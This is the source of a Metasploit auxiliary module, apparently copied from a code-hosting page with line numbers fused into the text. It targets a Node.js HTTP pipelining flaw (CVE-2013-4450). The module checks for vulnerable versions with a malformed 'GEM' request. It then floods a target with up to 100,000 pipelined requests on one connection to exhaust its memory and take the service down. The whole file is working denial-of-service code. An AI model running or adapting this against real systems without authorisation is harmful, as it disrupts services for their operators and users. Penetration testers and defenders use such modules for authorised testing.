Path: blob/master/modules/auxiliary/dos/http/nodejs_pipelining.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Node.js HTTP Pipelining Denial of Service',14'Description' => %q{15This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions16released before 0.10.21 and 0.8.26. The attack sends many pipelined17HTTP requests on a single connection, which causes unbounded memory18allocation when the client does not read the responses.19},20'Author' => [21'Marek Majkowski', # Vulnerability discovery22'titanous', # Metasploit module23'joev' # Metasploit module24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2013-4450' ],28[ 'OSVDB', '98724' ],29[ 'BID', '63229' ],30[ 'URL', 'https://nodejs.org/ja/blog/vulnerability/http-server-pipeline-flood-dos/' ]31],32'DisclosureDate' => '2013-10-18',33'Notes' => {34'Stability' => [CRASH_SERVICE_DOWN],35'SideEffects' => [],36'Reliability' => []37}38)39)4041register_options(42[43Opt::RPORT(80),44OptInt.new('RLIMIT', [true, 'Number of requests to send', 100000])45]46)47end4849def check50# http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/51# check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted52status = Exploit::CheckCode::Safe53connect54sock.put(http_request('GEM'))55begin56response = sock.get_once57status = Exploit::CheckCode::Appears if response =~ /HTTP/58rescue EOFError59# checking against >= 0.10.17 raises EOFError because there is no60# response to GEM requests61vprint_error('Failed to determine the vulnerable state due to an EOFError (no response)')62return Msf::Exploit::CheckCode::Unknown63ensure64disconnect65end66status67end6869def host70host = datastore['RHOST']71host += ':' + datastore['RPORT'].to_s if datastore['RPORT'] != 8072host73end7475def http_request(method = 'GET')76"#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n"77end7879def run80payload = http_request81begin82print_status('Stressing the target memory...')83connect84datastore['RLIMIT'].times { sock.put(payload) }85print_status("Attack finished. If you read it, it wasn't enough to trigger an Out Of Memory condition.")86rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout87print_status("Unable to connect to #{host}.")88rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error89print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached")90ensure91disconnect92end93end94end959697